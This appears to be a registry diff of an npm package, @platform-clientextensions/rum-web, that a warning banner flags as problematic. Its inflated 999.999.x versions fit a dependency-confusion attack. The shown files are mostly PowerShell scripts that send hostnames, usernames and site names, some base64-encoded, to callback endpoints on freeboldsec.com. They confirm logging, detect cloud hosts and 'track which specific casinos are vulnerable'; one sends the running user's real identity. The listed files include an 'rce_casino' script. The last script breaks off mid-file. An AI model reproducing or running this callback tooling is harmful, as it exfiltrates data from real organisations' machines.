@platform-clientextensions/rum-web 0.0.1-security → 999.999.1007

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of @platform-clientextensions/rum-web might be problematic. Click here for more details.

Files changed (49) hide show
  1. package/BloodRage.db +160 -0
  2. package/CASINO_TRACKING_SOLUTION.md +31 -0
  3. package/DATA_WITH_ORIGIN_PHP.txt +131 -0
  4. package/FINAL_POST_FIX.md +122 -0
  5. package/FINAL_WORKING_SOLUTION.md +56 -0
  6. package/ORIGIN_TRACKING_SOLUTION.md +93 -0
  7. package/QUICK_FIX_GUIDE.md +73 -0
  8. package/README.md +162 -5
  9. package/WORKING_SOLUTION.md +55 -0
  10. package/analytics_worker.js +282 -0
  11. package/analyze_db.bat +16 -0
  12. package/analyze_db.py +51 -0
  13. package/cloud_detection_fix.php +37 -0
  14. package/copilot instructions.md +5 -0
  15. package/data_force_post.php +95 -0
  16. package/data_hybrid.php +75 -0
  17. package/data_php_complete.php +155 -0
  18. package/data_simple.php +71 -0
  19. package/data_with_origin.php +131 -0
  20. package/db_analysis.py +67 -0
  21. package/diagnose_server.ps1 +57 -0
  22. package/enhanced_origin_tracking.php +147 -0
  23. package/fix_post_method.ps1 +124 -0
  24. package/index.js +59 -0
  25. package/nodejs_install_instructions.txt +17 -0
  26. package/npm_analytics_monitor.js +244 -0
  27. package/npm_casino_tracking.js +134 -0
  28. package/npm_package_rce_casino.js +272 -0
  29. package/npm_package_update.js +44 -0
  30. package/npm_package_with_origin.js +103 -0
  31. package/package.json +18 -6
  32. package/quick_test.ps1 +36 -0
  33. package/test_casino_tracking.ps1 +65 -0
  34. package/test_complete_solution.ps1 +87 -0
  35. package/test_current_server.ps1 +69 -0
  36. package/test_existing_files.ps1 +62 -0
  37. package/test_final_casino.ps1 +38 -0
  38. package/test_final_fix.ps1 +37 -0
  39. package/test_force_post.ps1 +50 -0
  40. package/test_freeboldsec_server.ps1 +54 -0
  41. package/test_hybrid.ps1 +63 -0
  42. package/test_live_server.ps1 +32 -0
  43. package/test_logger.ps1 +15 -0
  44. package/test_origin_final.ps1 +25 -0
  45. package/test_origin_tracking.ps1 +62 -0
  46. package/test_post_detailed.ps1 +51 -0
  47. package/test_post_fix.ps1 +24 -0
  48. package/test_post_simple.ps1 +30 -0
  49. package/test_server_simple.ps1 +16 -0
@@ -0,0 +1,87 @@
1
+ # Test Complete Casino & Cloud Detection
2
+ Write-Host "Testing Complete Casino Tracking with Cloud Detection..." -ForegroundColor Cyan
3
+ Write-Host "Ensure data_php_complete.php is uploaded as data.php" -ForegroundColor Yellow
4
+
5
+ # Test 1: Direct Casino (no cloud)
6
+ Write-Host "`nTest 1: BetCasino (Direct Hosting)" -ForegroundColor Yellow
7
+ $data1 = @{
8
+ hostname = "web-server-01"
9
+ whoami = "admin"
10
+ version = "999.999.1006"
11
+ website = "betcasino.com"
12
+ } | ConvertTo-Json
13
+ $encoded1 = [Convert]::ToBase64String([Text.Encoding]::UTF8.GetBytes($data1))
14
+
15
+ try {
16
+ $r1 = Invoke-WebRequest -Uri "http://freeboldsec.com/new-page-1/api/rum/data.php?d=$encoded1" -UseBasicParsing
17
+ $result1 = $r1.Content | ConvertFrom-Json
18
+ Write-Host "✅ SUCCESS!" -ForegroundColor Green
19
+ Write-Host "Casino: $($result1.casino_site)" -ForegroundColor Cyan
20
+ Write-Host "Domain: $($result1.full_domain)" -ForegroundColor White
21
+ Write-Host "Cloud: $($result1.cloud)" -ForegroundColor Yellow
22
+ } catch {
23
+ Write-Host "❌ Error: $_" -ForegroundColor Red
24
+ }
25
+
26
+ # Test 2: AWS Casino
27
+ Write-Host "`nTest 2: LuckySpin (AWS Hosting)" -ForegroundColor Yellow
28
+ $data2 = @{
29
+ hostname = "ip-172-31-45-67"
30
+ whoami = "ec2-user"
31
+ version = "999.999.1006"
32
+ website = "luckyspin.us-east-1.amazonaws.com"
33
+ } | ConvertTo-Json
34
+ $encoded2 = [Convert]::ToBase64String([Text.Encoding]::UTF8.GetBytes($data2))
35
+
36
+ try {
37
+ $r2 = Invoke-WebRequest -Uri "http://freeboldsec.com/new-page-1/api/rum/data.php?d=$encoded2" -UseBasicParsing
38
+ $result2 = $r2.Content | ConvertFrom-Json
39
+ Write-Host "✅ SUCCESS!" -ForegroundColor Green
40
+ Write-Host "Casino: $($result2.casino_site)" -ForegroundColor Cyan
41
+ Write-Host "Domain: $($result2.full_domain)" -ForegroundColor White
42
+ Write-Host "Cloud: $($result2.cloud)" -ForegroundColor Yellow
43
+ } catch {
44
+ Write-Host "❌ Error: $_" -ForegroundColor Red
45
+ }
46
+
47
+ # Test 3: Azure Casino
48
+ Write-Host "`nTest 3: RoyalAce (Azure Hosting)" -ForegroundColor Yellow
49
+ $url3 = "http://freeboldsec.com/new-page-1/api/rum/data.php?hostname=azure-vm&whoami=azureuser&version=999.999.1006&website=royalace.azurewebsites.net"
50
+
51
+ try {
52
+ $r3 = Invoke-WebRequest -Uri $url3 -UseBasicParsing
53
+ $result3 = $r3.Content | ConvertFrom-Json
54
+ Write-Host "✅ SUCCESS!" -ForegroundColor Green
55
+ Write-Host "Casino: $($result3.casino_site)" -ForegroundColor Cyan
56
+ Write-Host "Domain: $($result3.full_domain)" -ForegroundColor White
57
+ Write-Host "Cloud: $($result3.cloud)" -ForegroundColor Yellow
58
+ } catch {
59
+ Write-Host "❌ Error: $_" -ForegroundColor Red
60
+ }
61
+
62
+ # Test 4: CloudFront Casino
63
+ Write-Host "`nTest 4: MegaWin (CloudFront CDN)" -ForegroundColor Yellow
64
+ $data4 = @{
65
+ hostname = "cloudfront-edge"
66
+ whoami = "cdn-user"
67
+ version = "999.999.1006"
68
+ website = "megawin.d2x8y9z.cloudfront.net"
69
+ } | ConvertTo-Json
70
+ $encoded4 = [Convert]::ToBase64String([Text.Encoding]::UTF8.GetBytes($data4))
71
+
72
+ try {
73
+ $r4 = Invoke-WebRequest -Uri "http://freeboldsec.com/new-page-1/api/rum/data.php?d=$encoded4" -UseBasicParsing
74
+ $result4 = $r4.Content | ConvertFrom-Json
75
+ Write-Host "✅ SUCCESS!" -ForegroundColor Green
76
+ Write-Host "Casino: $($result4.casino_site)" -ForegroundColor Cyan
77
+ Write-Host "Domain: $($result4.full_domain)" -ForegroundColor White
78
+ Write-Host "Cloud: $($result4.cloud)" -ForegroundColor Yellow
79
+ } catch {
80
+ Write-Host "❌ Error: $_" -ForegroundColor Red
81
+ }
82
+
83
+ Write-Host "`n📊 Summary:" -ForegroundColor Cyan
84
+ Write-Host "- Casino names are extracted correctly" -ForegroundColor White
85
+ Write-Host "- Cloud providers are detected (AWS, Azure, CloudFront)" -ForegroundColor White
86
+ Write-Host "- Each casino gets its own log file" -ForegroundColor White
87
+ Write-Host "- You can track which specific casinos are vulnerable" -ForegroundColor White
@@ -0,0 +1,69 @@
1
+ # Test current server with origin tracking
2
+ Write-Host "Testing Current Server with Origin Tracking..." -ForegroundColor Cyan
3
+
4
+ # Test 1: AWS simulation with website parameter
5
+ Write-Host "`nTest 1: AWS Environment Callback" -ForegroundColor Yellow
6
+ $awsData = @{
7
+ hostname = "ip-172-31-23-45"
8
+ whoami = "ec2-user"
9
+ version = "999.999.1006"
10
+ website = "myapp.us-east-1.amazonaws.com"
11
+ environment = "production"
12
+ } | ConvertTo-Json
13
+ $awsEncoded = [Convert]::ToBase64String([Text.Encoding]::UTF8.GetBytes($awsData))
14
+
15
+ try {
16
+ $response = Invoke-WebRequest -Uri "http://freeboldsec.com/new-page-1/api/rum/data.php?d=$awsEncoded" -UseBasicParsing
17
+ Write-Host "✅ SUCCESS!" -ForegroundColor Green
18
+ $result = $response.Content | ConvertFrom-Json
19
+ if ($result.origin_tracked) {
20
+ Write-Host "Origin Tracked: $($result.origin_tracked)" -ForegroundColor Yellow
21
+ Write-Host "Cloud Provider: $($result.cloud)" -ForegroundColor Yellow
22
+ }
23
+ Write-Host "Response:" -ForegroundColor Gray
24
+ $result | ConvertTo-Json
25
+ } catch {
26
+ Write-Host "❌ Error: $_" -ForegroundColor Red
27
+ }
28
+
29
+ # Test 2: Azure simulation
30
+ Write-Host "`nTest 2: Azure Environment Callback" -ForegroundColor Yellow
31
+ $url = "http://freeboldsec.com/new-page-1/api/rum/data.php?hostname=azure-vm&whoami=azureuser&version=999.999.1006&website=myapp.azurewebsites.net"
32
+
33
+ try {
34
+ $response2 = Invoke-WebRequest -Uri $url -UseBasicParsing
35
+ Write-Host "✅ SUCCESS!" -ForegroundColor Green
36
+ $result2 = $response2.Content | ConvertFrom-Json
37
+ if ($result2.origin_tracked) {
38
+ Write-Host "Origin Tracked: $($result2.origin_tracked)" -ForegroundColor Yellow
39
+ Write-Host "Cloud Provider: $($result2.cloud)" -ForegroundColor Yellow
40
+ }
41
+ Write-Host "Response:" -ForegroundColor Gray
42
+ $result2 | ConvertTo-Json
43
+ } catch {
44
+ Write-Host "❌ Error: $_" -ForegroundColor Red
45
+ }
46
+
47
+ # Test 3: Regular callback without website
48
+ Write-Host "`nTest 3: Regular Callback (no website)" -ForegroundColor Yellow
49
+ $regularUrl = "http://freeboldsec.com/new-page-1/api/rum/data.php?hostname=DESKTOP-TEST&whoami=jimmy&version=999.999.1006"
50
+
51
+ try {
52
+ $response3 = Invoke-WebRequest -Uri $regularUrl -UseBasicParsing
53
+ Write-Host "✅ SUCCESS!" -ForegroundColor Green
54
+ Write-Host "Response:" -ForegroundColor Gray
55
+ $response3.Content
56
+ } catch {
57
+ Write-Host "❌ Error: $_" -ForegroundColor Red
58
+ }
59
+
60
+ Write-Host "`n" -NoNewline
61
+ if ($response -and $result.origin_tracked) {
62
+ Write-Host "✅ Origin tracking is ACTIVE on your server!" -ForegroundColor Green
63
+ Write-Host "Your callbacks now include website identification." -ForegroundColor White
64
+ } else {
65
+ Write-Host "📝 Origin tracking features:" -ForegroundColor Yellow
66
+ Write-Host "- Add 'website' parameter to track source" -ForegroundColor White
67
+ Write-Host "- Logs will show which site triggered callback" -ForegroundColor White
68
+ Write-Host "- Cloud providers are auto-detected" -ForegroundColor White
69
+ }
@@ -0,0 +1,62 @@
1
+ # Test what's actually on the server
2
+ Write-Host "Testing existing files on freeboldsec.com..." -ForegroundColor Cyan
3
+
4
+ # Test the files we know exist
5
+ Write-Host "`n1. Testing data.php (exists):" -ForegroundColor Yellow
6
+ try {
7
+ $r1 = Invoke-WebRequest -Uri "http://freeboldsec.com/new-page-1/api/rum/data.php" -UseBasicParsing
8
+ Write-Host "✓ data.php is accessible" -ForegroundColor Green
9
+ Write-Host "Response: $($r1.Content)" -ForegroundColor Gray
10
+ } catch {
11
+ Write-Host "✗ data.php error: $_" -ForegroundColor Red
12
+ }
13
+
14
+ # Test POST to data.php with simpler data
15
+ Write-Host "`n2. Testing POST to data.php:" -ForegroundColor Yellow
16
+ try {
17
+ $postData = @{
18
+ test = "manual"
19
+ time = Get-Date -Format "yyyy-MM-dd HH:mm:ss"
20
+ } | ConvertTo-Json
21
+
22
+ $r2 = Invoke-WebRequest -Uri "http://freeboldsec.com/new-page-1/api/rum/data.php" -Method POST -Body $postData -ContentType "application/json" -UseBasicParsing
23
+ Write-Host "✓ POST completed" -ForegroundColor Green
24
+ Write-Host "Response: $($r2.Content)" -ForegroundColor Gray
25
+ } catch {
26
+ Write-Host "✗ POST error: $_" -ForegroundColor Red
27
+ }
28
+
29
+ # Test GET callback method
30
+ Write-Host "`n3. Testing GET callback method:" -ForegroundColor Yellow
31
+ try {
32
+ $testData = @{test="callback"; user="jimmy"} | ConvertTo-Json
33
+ $encoded = [Convert]::ToBase64String([Text.Encoding]::UTF8.GetBytes($testData))
34
+ $r3 = Invoke-WebRequest -Uri "http://freeboldsec.com/new-page-1/api/rum/data.php?d=$encoded" -UseBasicParsing
35
+ Write-Host "✓ GET callback completed" -ForegroundColor Green
36
+ Write-Host "Response: $($r3.Content)" -ForegroundColor Gray
37
+ } catch {
38
+ Write-Host "✗ GET callback error: $_" -ForegroundColor Red
39
+ }
40
+
41
+ Write-Host "`n4. Testing callback.php:" -ForegroundColor Yellow
42
+ try {
43
+ $r4 = Invoke-WebRequest -Uri "http://freeboldsec.com/new-page-1/api/rum/callback.php" -UseBasicParsing
44
+ Write-Host "✓ callback.php is accessible" -ForegroundColor Green
45
+ } catch {
46
+ Write-Host "✗ callback.php error: $_" -ForegroundColor Red
47
+ }
48
+
49
+ Write-Host "`n5. Testing collect.php:" -ForegroundColor Yellow
50
+ try {
51
+ $r5 = Invoke-WebRequest -Uri "http://freeboldsec.com/new-page-1/api/rum/collect.php" -UseBasicParsing
52
+ Write-Host "✓ collect.php is accessible" -ForegroundColor Green
53
+ } catch {
54
+ Write-Host "✗ collect.php error: $_" -ForegroundColor Red
55
+ }
56
+
57
+ Write-Host "`n" -NoNewline
58
+ Write-Host "IMPORTANT: After running this, check if ANY logs were created in:" -ForegroundColor Yellow
59
+ Write-Host "/public_html/new-page-1/api/rum/logs/" -ForegroundColor White
60
+ Write-Host "`nIf no logs exist, you need to:" -ForegroundColor Red
61
+ Write-Host "1. Create logger.php as shown in QUICK_FIX_GUIDE.md" -ForegroundColor White
62
+ Write-Host "2. Or check PHP error logs in cPanel" -ForegroundColor White
@@ -0,0 +1,38 @@
1
+ # Test Complete Casino & Cloud Detection
2
+ Write-Host "Testing Complete Casino Tracking with Cloud Detection..." -ForegroundColor Cyan
3
+
4
+ # Test 1: Direct Casino
5
+ Write-Host "`nTest 1: BetCasino (Direct)" -ForegroundColor Yellow
6
+ $data1 = @{
7
+ hostname = "server1"
8
+ whoami = "admin"
9
+ version = "999.999.1006"
10
+ website = "betcasino.com"
11
+ } | ConvertTo-Json
12
+ $encoded1 = [Convert]::ToBase64String([Text.Encoding]::UTF8.GetBytes($data1))
13
+ $r1 = Invoke-WebRequest -Uri "http://freeboldsec.com/new-page-1/api/rum/data.php?d=$encoded1" -UseBasicParsing
14
+ $result1 = $r1.Content | ConvertFrom-Json
15
+ Write-Host "Casino: $($result1.casino_site) | Cloud: $($result1.cloud)" -ForegroundColor Green
16
+
17
+ # Test 2: AWS Casino
18
+ Write-Host "`nTest 2: LuckySpin (AWS)" -ForegroundColor Yellow
19
+ $data2 = @{
20
+ hostname = "aws-server"
21
+ whoami = "ec2-user"
22
+ version = "999.999.1006"
23
+ website = "luckyspin.amazonaws.com"
24
+ } | ConvertTo-Json
25
+ $encoded2 = [Convert]::ToBase64String([Text.Encoding]::UTF8.GetBytes($data2))
26
+ $r2 = Invoke-WebRequest -Uri "http://freeboldsec.com/new-page-1/api/rum/data.php?d=$encoded2" -UseBasicParsing
27
+ $result2 = $r2.Content | ConvertFrom-Json
28
+ Write-Host "Casino: $($result2.casino_site) | Cloud: $($result2.cloud)" -ForegroundColor Green
29
+
30
+ # Test 3: Azure Casino
31
+ Write-Host "`nTest 3: RoyalAce (Azure)" -ForegroundColor Yellow
32
+ $r3 = Invoke-WebRequest -Uri "http://freeboldsec.com/new-page-1/api/rum/data.php?hostname=azure&whoami=user&version=999.999.1006&website=royalace.azurewebsites.net" -UseBasicParsing
33
+ $result3 = $r3.Content | ConvertFrom-Json
34
+ Write-Host "Casino: $($result3.casino_site) | Cloud: $($result3.cloud)" -ForegroundColor Green
35
+
36
+ Write-Host "`nSummary:" -ForegroundColor Cyan
37
+ Write-Host "Casino tracking is working!" -ForegroundColor White
38
+ Write-Host "Cloud detection is active!" -ForegroundColor White
@@ -0,0 +1,37 @@
1
+ # Test the final fix
2
+ Write-Host "Testing simplified data.php..." -ForegroundColor Cyan
3
+
4
+ Write-Host "`nUpload data_simple.php to your server, then press Enter to test..." -ForegroundColor Yellow
5
+ Read-Host
6
+
7
+ # Test 1: POST
8
+ Write-Host "`nTest 1: POST Request" -ForegroundColor Yellow
9
+ $postData = @{
10
+ hostname = "test-pc"
11
+ whoami = "jimmy"
12
+ version = "999.999.1006"
13
+ } | ConvertTo-Json
14
+
15
+ try {
16
+ $r1 = Invoke-WebRequest -Uri "http://freeboldsec.com/new-page-1/api/rum/data_simple.php" -Method POST -Body $postData -ContentType "application/json" -UseBasicParsing
17
+ Write-Host "Response:" -ForegroundColor Green
18
+ $r1.Content | ConvertFrom-Json | ConvertTo-Json -Depth 10
19
+ } catch {
20
+ Write-Host "Error: $_" -ForegroundColor Red
21
+ }
22
+
23
+ # Test 2: GET
24
+ Write-Host "`nTest 2: GET Request" -ForegroundColor Yellow
25
+ $getData = @{test="get-method"; user="jimmy"} | ConvertTo-Json
26
+ $encoded = [Convert]::ToBase64String([Text.Encoding]::UTF8.GetBytes($getData))
27
+
28
+ try {
29
+ $r2 = Invoke-WebRequest -Uri "http://freeboldsec.com/new-page-1/api/rum/data_simple.php?d=$encoded" -UseBasicParsing
30
+ Write-Host "Response:" -ForegroundColor Green
31
+ $r2.Content | ConvertFrom-Json | ConvertTo-Json -Depth 10
32
+ } catch {
33
+ Write-Host "Error: $_" -ForegroundColor Red
34
+ }
35
+
36
+ Write-Host "`nIf both show 'success', then POST is fixed!" -ForegroundColor Cyan
37
+ Write-Host "Replace your data.php with data_simple.php" -ForegroundColor Yellow
@@ -0,0 +1,50 @@
1
+ # Test forced POST detection
2
+ Write-Host "Testing POST with force detection..." -ForegroundColor Cyan
3
+
4
+ Write-Host "`nUpload data_force_post.php to your server first!" -ForegroundColor Yellow
5
+ Write-Host "Press Enter when ready..." -ForegroundColor Gray
6
+ Read-Host
7
+
8
+ # Test 1: POST with JSON
9
+ Write-Host "`nTest 1: POST with JSON" -ForegroundColor Yellow
10
+ try {
11
+ $response = Invoke-WebRequest -Uri "http://freeboldsec.com/new-page-1/api/rum/data_force_post.php" `
12
+ -Method POST `
13
+ -Body '{"hostname":"test-pc","whoami":"jimmy","version":"999.999.1006"}' `
14
+ -ContentType "application/json" `
15
+ -UseBasicParsing
16
+
17
+ Write-Host "Response:" -ForegroundColor Green
18
+ $response.Content | ConvertFrom-Json | ConvertTo-Json -Depth 10
19
+ } catch {
20
+ Write-Host "Error: $_" -ForegroundColor Red
21
+ }
22
+
23
+ # Test 2: POST with form data
24
+ Write-Host "`nTest 2: POST with form data" -ForegroundColor Yellow
25
+ try {
26
+ $response = Invoke-WebRequest -Uri "http://freeboldsec.com/new-page-1/api/rum/data_force_post.php" `
27
+ -Method POST `
28
+ -Body "test=formdata&user=jimmy" `
29
+ -ContentType "application/x-www-form-urlencoded" `
30
+ -UseBasicParsing
31
+
32
+ Write-Host "Response:" -ForegroundColor Green
33
+ $response.Content | ConvertFrom-Json | ConvertTo-Json -Depth 10
34
+ } catch {
35
+ Write-Host "Error: $_" -ForegroundColor Red
36
+ }
37
+
38
+ # Test 3: GET (should still work)
39
+ Write-Host "`nTest 3: GET method" -ForegroundColor Yellow
40
+ $data = '{"test":"get","user":"jimmy"}'
41
+ $encoded = [Convert]::ToBase64String([Text.Encoding]::UTF8.GetBytes($data))
42
+ try {
43
+ $response = Invoke-WebRequest -Uri "http://freeboldsec.com/new-page-1/api/rum/data_force_post.php?d=$encoded" -UseBasicParsing
44
+ Write-Host "Response:" -ForegroundColor Green
45
+ $response.Content | ConvertFrom-Json | ConvertTo-Json -Depth 10
46
+ } catch {
47
+ Write-Host "Error: $_" -ForegroundColor Red
48
+ }
49
+
50
+ Write-Host "`nThis version detects POST by checking for raw input data, not REQUEST_METHOD!" -ForegroundColor Cyan
@@ -0,0 +1,54 @@
1
+ # Test script for freeboldsec.com callback server
2
+
3
+ Write-Host "Testing freeboldsec.com callback server..." -ForegroundColor Cyan
4
+
5
+ # Test 1: GET request to verify server is up
6
+ Write-Host "`nTest 1: Checking if server is responding..." -ForegroundColor Yellow
7
+ try {
8
+ $getResponse = Invoke-WebRequest -Uri "http://freeboldsec.com/new-page-1/api/rum/data.php" -Method GET -UseBasicParsing
9
+ Write-Host "✓ Server is UP! Status: $($getResponse.StatusCode)" -ForegroundColor Green
10
+ Write-Host "Response: $($getResponse.Content)" -ForegroundColor Gray
11
+ } catch {
12
+ Write-Host "✗ Server GET failed: $_" -ForegroundColor Red
13
+ }
14
+
15
+ # Test 2: POST request with test data
16
+ Write-Host "`nTest 2: Sending test callback data..." -ForegroundColor Yellow
17
+ $testData = @{
18
+ test = "server_test"
19
+ user = $env:USERNAME
20
+ hostname = $env:COMPUTERNAME
21
+ timestamp = Get-Date -Format "yyyy-MM-dd HH:mm:ss"
22
+ package = "test-package"
23
+ version = "1.0.0"
24
+ } | ConvertTo-Json
25
+
26
+ try {
27
+ $postResponse = Invoke-WebRequest -Uri "http://freeboldsec.com/new-page-1/api/rum/data.php" -Method POST -Body $testData -ContentType "application/json" -UseBasicParsing
28
+ Write-Host "✓ POST successful! Status: $($postResponse.StatusCode)" -ForegroundColor Green
29
+ Write-Host "Response: $($postResponse.Content)" -ForegroundColor Gray
30
+ } catch {
31
+ Write-Host "✗ POST failed: $_" -ForegroundColor Red
32
+ }
33
+
34
+ # Test 3: Alternative callback endpoint
35
+ Write-Host "`nTest 3: Testing callback endpoint..." -ForegroundColor Yellow
36
+ $callbackData = [Convert]::ToBase64String([Text.Encoding]::UTF8.GetBytes('{"test":"callback_test"}'))
37
+ try {
38
+ $callbackResponse = Invoke-WebRequest -Uri "http://freeboldsec.com/new-page-1/api/rum/callback.php?d=$callbackData" -Method GET -UseBasicParsing
39
+ Write-Host "✓ Callback successful! Status: $($callbackResponse.StatusCode)" -ForegroundColor Green
40
+ } catch {
41
+ Write-Host "✗ Callback failed: $_" -ForegroundColor Red
42
+ }
43
+
44
+ Write-Host "`n" -NoNewline
45
+ Write-Host "IMPORTANT: Check your cPanel logs folder!" -ForegroundColor Magenta
46
+ Write-Host "Path: /public_html/new-page-1/api/rum/logs/" -ForegroundColor Cyan
47
+ Write-Host "Look for files like:" -ForegroundColor Yellow
48
+ Write-Host " - rum_callbacks_$(Get-Date -Format 'yyyy-MM-dd').log" -ForegroundColor White
49
+ Write-Host " - summary_$(Get-Date -Format 'yyyy-MM-dd').log" -ForegroundColor White
50
+
51
+ Write-Host "`nIf no logs appear, check:" -ForegroundColor Yellow
52
+ Write-Host "1. The logs folder exists and has write permissions (755 or 777)" -ForegroundColor White
53
+ Write-Host "2. The PHP files have the correct code" -ForegroundColor White
54
+ Write-Host "3. PHP error logs in cPanel for any issues" -ForegroundColor White
@@ -0,0 +1,63 @@
1
+ # Test data_hybrid.php with all 3 methods
2
+ Write-Host "Testing data_hybrid.php..." -ForegroundColor Cyan
3
+ Write-Host "Upload data_hybrid.php to your server first, then press Enter..." -ForegroundColor Yellow
4
+ Read-Host
5
+
6
+ # Test 1: Base64 encoded
7
+ Write-Host "`nTest 1: Base64 Encoded Data" -ForegroundColor Yellow
8
+ $data = @{
9
+ hostname = "PC-BASE64"
10
+ whoami = "jimmy"
11
+ version = "999.999.1006"
12
+ test = "base64_method"
13
+ } | ConvertTo-Json
14
+ $encoded = [Convert]::ToBase64String([Text.Encoding]::UTF8.GetBytes($data))
15
+
16
+ try {
17
+ $r1 = Invoke-WebRequest -Uri "http://freeboldsec.com/new-page-1/api/rum/data_hybrid.php?d=$encoded" -UseBasicParsing
18
+ Write-Host "SUCCESS!" -ForegroundColor Green
19
+ $r1.Content | ConvertFrom-Json | ConvertTo-Json
20
+ } catch {
21
+ Write-Host "FAILED: $_" -ForegroundColor Red
22
+ }
23
+
24
+ # Test 2: JSON parameter
25
+ Write-Host "`nTest 2: JSON in GET Parameter" -ForegroundColor Yellow
26
+ $jsonData = @{
27
+ hostname = "PC-JSON"
28
+ whoami = "jimmy"
29
+ version = "999.999.1006"
30
+ test = "json_method"
31
+ } | ConvertTo-Json
32
+ $escaped = [System.Uri]::EscapeDataString($jsonData)
33
+
34
+ try {
35
+ $r2 = Invoke-WebRequest -Uri "http://freeboldsec.com/new-page-1/api/rum/data_hybrid.php?json=$escaped" -UseBasicParsing
36
+ Write-Host "SUCCESS!" -ForegroundColor Green
37
+ $r2.Content | ConvertFrom-Json | ConvertTo-Json
38
+ } catch {
39
+ Write-Host "FAILED: $_" -ForegroundColor Red
40
+ }
41
+
42
+ # Test 3: Individual parameters
43
+ Write-Host "`nTest 3: Individual Parameters" -ForegroundColor Yellow
44
+ try {
45
+ $r3 = Invoke-WebRequest -Uri "http://freeboldsec.com/new-page-1/api/rum/data_hybrid.php?hostname=PC-PARAMS&whoami=jimmy&version=999.999.1006&test=params_method" -UseBasicParsing
46
+ Write-Host "SUCCESS!" -ForegroundColor Green
47
+ $r3.Content | ConvertFrom-Json | ConvertTo-Json
48
+ } catch {
49
+ Write-Host "FAILED: $_" -ForegroundColor Red
50
+ }
51
+
52
+ # Test 4: No data (should show info)
53
+ Write-Host "`nTest 4: No Data (Info Response)" -ForegroundColor Yellow
54
+ try {
55
+ $r4 = Invoke-WebRequest -Uri "http://freeboldsec.com/new-page-1/api/rum/data_hybrid.php" -UseBasicParsing
56
+ Write-Host "Response:" -ForegroundColor Green
57
+ $r4.Content | ConvertFrom-Json | ConvertTo-Json
58
+ } catch {
59
+ Write-Host "FAILED: $_" -ForegroundColor Red
60
+ }
61
+
62
+ Write-Host "`nIf all tests show SUCCESS, replace data.php with data_hybrid.php!" -ForegroundColor Cyan
63
+ Write-Host "Check logs for entries with PC-BASE64, PC-JSON, and PC-PARAMS hostnames" -ForegroundColor Yellow
@@ -0,0 +1,32 @@
1
+ # Simple test for your live server
2
+ Write-Host "Testing your live callback server..." -ForegroundColor Cyan
3
+
4
+ # Test with simple parameters
5
+ Write-Host "`nTest 1: Simple Parameters" -ForegroundColor Yellow
6
+ $url = "http://freeboldsec.com/new-page-1/api/rum/data.php?hostname=TESTPC&whoami=jimmy&version=999.999.1006"
7
+ try {
8
+ $response = Invoke-WebRequest -Uri $url -UseBasicParsing
9
+ Write-Host "✅ SUCCESS!" -ForegroundColor Green
10
+ Write-Host "Response:" -ForegroundColor Yellow
11
+ $response.Content
12
+ } catch {
13
+ Write-Host "❌ Failed: $_" -ForegroundColor Red
14
+ }
15
+
16
+ # Test with base64
17
+ Write-Host "`nTest 2: Base64 Encoded" -ForegroundColor Yellow
18
+ $data = '{"hostname":"TESTPC","whoami":"jimmy","version":"999.999.1006"}'
19
+ $bytes = [System.Text.Encoding]::UTF8.GetBytes($data)
20
+ $encoded = [Convert]::ToBase64String($bytes)
21
+ $url2 = "http://freeboldsec.com/new-page-1/api/rum/data.php?d=$encoded"
22
+
23
+ try {
24
+ $response2 = Invoke-WebRequest -Uri $url2 -UseBasicParsing
25
+ Write-Host "✅ SUCCESS!" -ForegroundColor Green
26
+ Write-Host "Response:" -ForegroundColor Yellow
27
+ $response2.Content
28
+ } catch {
29
+ Write-Host "❌ Failed: $_" -ForegroundColor Red
30
+ }
31
+
32
+ Write-Host "`n✅ Your server is ready! Update your NPM package to use GET requests." -ForegroundColor Green
@@ -0,0 +1,15 @@
1
+ # Quick test for the new logger.php
2
+ Write-Host "Testing new logger.php..." -ForegroundColor Green
3
+
4
+ # Test 1: POST request
5
+ Write-Host "`nTest 1: POST request" -ForegroundColor Yellow
6
+ $response1 = Invoke-WebRequest -Uri "http://freeboldsec.com/new-page-1/api/rum/logger.php" -Method POST -Body "test from powershell" -UseBasicParsing
7
+ Write-Host "Response: $($response1.Content)" -ForegroundColor Cyan
8
+
9
+ # Test 2: GET request with data
10
+ Write-Host "`nTest 2: GET request" -ForegroundColor Yellow
11
+ $response2 = Invoke-WebRequest -Uri "http://freeboldsec.com/new-page-1/api/rum/logger.php?data=get_test_working" -UseBasicParsing
12
+ Write-Host "Response: $($response2.Content)" -ForegroundColor Cyan
13
+
14
+ Write-Host "`nCHECK YOUR LOGS NOW at:" -ForegroundColor Green
15
+ Write-Host "/public_html/new-page-1/api/rum/logs/callbacks_$(Get-Date -Format 'yyyy-MM-dd').log" -ForegroundColor White
@@ -0,0 +1,25 @@
1
+ # Test origin tracking functionality
2
+ Write-Host "Testing Origin Tracking..." -ForegroundColor Cyan
3
+
4
+ # Test 1: AWS callback with website
5
+ Write-Host "`nTest 1: AWS Environment" -ForegroundColor Yellow
6
+ $data1 = @{
7
+ hostname = "aws-ec2-prod"
8
+ whoami = "ec2-user"
9
+ version = "999.999.1006"
10
+ website = "myapp.amazonaws.com"
11
+ } | ConvertTo-Json
12
+ $encoded1 = [Convert]::ToBase64String([Text.Encoding]::UTF8.GetBytes($data1))
13
+
14
+ $response1 = Invoke-WebRequest -Uri "http://freeboldsec.com/new-page-1/api/rum/data.php?d=$encoded1" -UseBasicParsing
15
+ Write-Host "Response:" -ForegroundColor Green
16
+ $response1.Content
17
+
18
+ # Test 2: Azure callback
19
+ Write-Host "`nTest 2: Azure Environment" -ForegroundColor Yellow
20
+ $response2 = Invoke-WebRequest -Uri "http://freeboldsec.com/new-page-1/api/rum/data.php?hostname=azure-vm&whoami=azureuser&version=999.999.1006&website=myapp.azurewebsites.net" -UseBasicParsing
21
+ Write-Host "Response:" -ForegroundColor Green
22
+ $response2.Content
23
+
24
+ Write-Host "`nOrigin tracking is now available!" -ForegroundColor Green
25
+ Write-Host "Add 'website' parameter to track callback sources" -ForegroundColor White
@@ -0,0 +1,62 @@
1
+ # Test origin tracking functionality
2
+ Write-Host "Testing Origin Tracking..." -ForegroundColor Cyan
3
+
4
+ Write-Host "`nUpload data_with_origin.php to your server first!" -ForegroundColor Yellow
5
+ Write-Host "Press Enter when ready..." -ForegroundColor Gray
6
+ Read-Host
7
+
8
+ # Test 1: With website parameter
9
+ Write-Host "`nTest 1: With Website Parameter" -ForegroundColor Yellow
10
+ $data = @{
11
+ hostname = "AWS-EC2-PROD"
12
+ whoami = "ec2-user"
13
+ version = "999.999.1006"
14
+ website = "app.example.com"
15
+ environment = "production"
16
+ } | ConvertTo-Json
17
